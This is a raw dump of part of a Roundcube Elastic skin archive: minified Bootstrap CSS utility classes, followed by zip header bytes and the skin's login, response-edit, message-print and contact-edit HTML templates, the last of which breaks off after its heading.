rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:rgba(0,0,0,0)}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0056b3!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#494f54!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#19692c!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#0f6674!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#a71d2a!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#cbd3da!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;word-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}}
PKh�\�lw���"skins/elastic/templates/login.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:object name="productname" /> <roundcube:label name="login" /></h1>

<div id="layout-content" class="selected no-navbar" role="main">
	<roundcube:object name="logo" src="/images/logo.svg" id="logo" alt="Logo" />
	<roundcube:form id="login-form" name="login-form" method="post" class="propform">
	<roundcube:object name="loginform" form="login-form" size="40" submit=true class="form-control" />
		<div id="login-footer" role="contentinfo">
			<roundcube:object name="productname" condition="config:display_product_info &gt; 0" />
			<roundcube:object name="version" condition="config:display_product_info == 2" />
			<roundcube:if condition="config:support_url" />
				&nbsp;&bull;&nbsp; <a href="<roundcube:var name='config:support_url' />" target="_blank" class="support-link"><roundcube:label name="support" /></a>
			<roundcube:endif />
			<roundcube:container name="loginfooter" id="login-footer" />
		</div>
	</form>
</div>

<noscript>
	<p class="noscriptwarning"><roundcube:label name="noscriptwarning" /></p>
</noscript>

<roundcube:include file="includes/footer.html" />
PKh�\Mq_y��)skins/elastic/templates/responseedit.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:object name="steptitle" /></h1>

<div class="formcontent">
	<roundcube:object name="responseform" class="propform" size="60" textareacols="60" textarearows="18" />
</div>

<div class="formbuttons">
	<roundcube:button command="save" class="btn btn-primary submit" label="save" condition="!env:readonly" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�g���)skins/elastic/templates/messageprint.htmlnu�[���<roundcube:include file="includes/layout.html" />

<roundcube:object name="logo" id="logo" alt="Logo" logo-type="print" logo-match="template" class="float-sm-right" />

<div class="print-content" role="main">
	<div id="message-header">
		<h2 class="subject">
			<roundcube:object name="messageHeaders" valueOf="subject" />
		</h2>
		<div class="header">
			<roundcube:object name="contactphoto" class="contactphoto" placeholder="/images/contactpic.svg" />
			<div class="header-content details-view">
				<roundcube:object name="messageHeaders" class="header-headers" addicon="virtual" exclude="subject" max="10" />
			</div>
		</div>
	</div>
	<div id="message-content">
		<div role="region">
			<roundcube:object name="messageAttachments" id="attachment-list" class="attachmentslist" />
		</div>
		<div role="region">
			<roundcube:object name="messageBody" id="messagebody" headertableclass="headers-table" />
		</div>
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�
��(skins/elastic/templates/contactedit.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:object name="steptitle" /></h1>

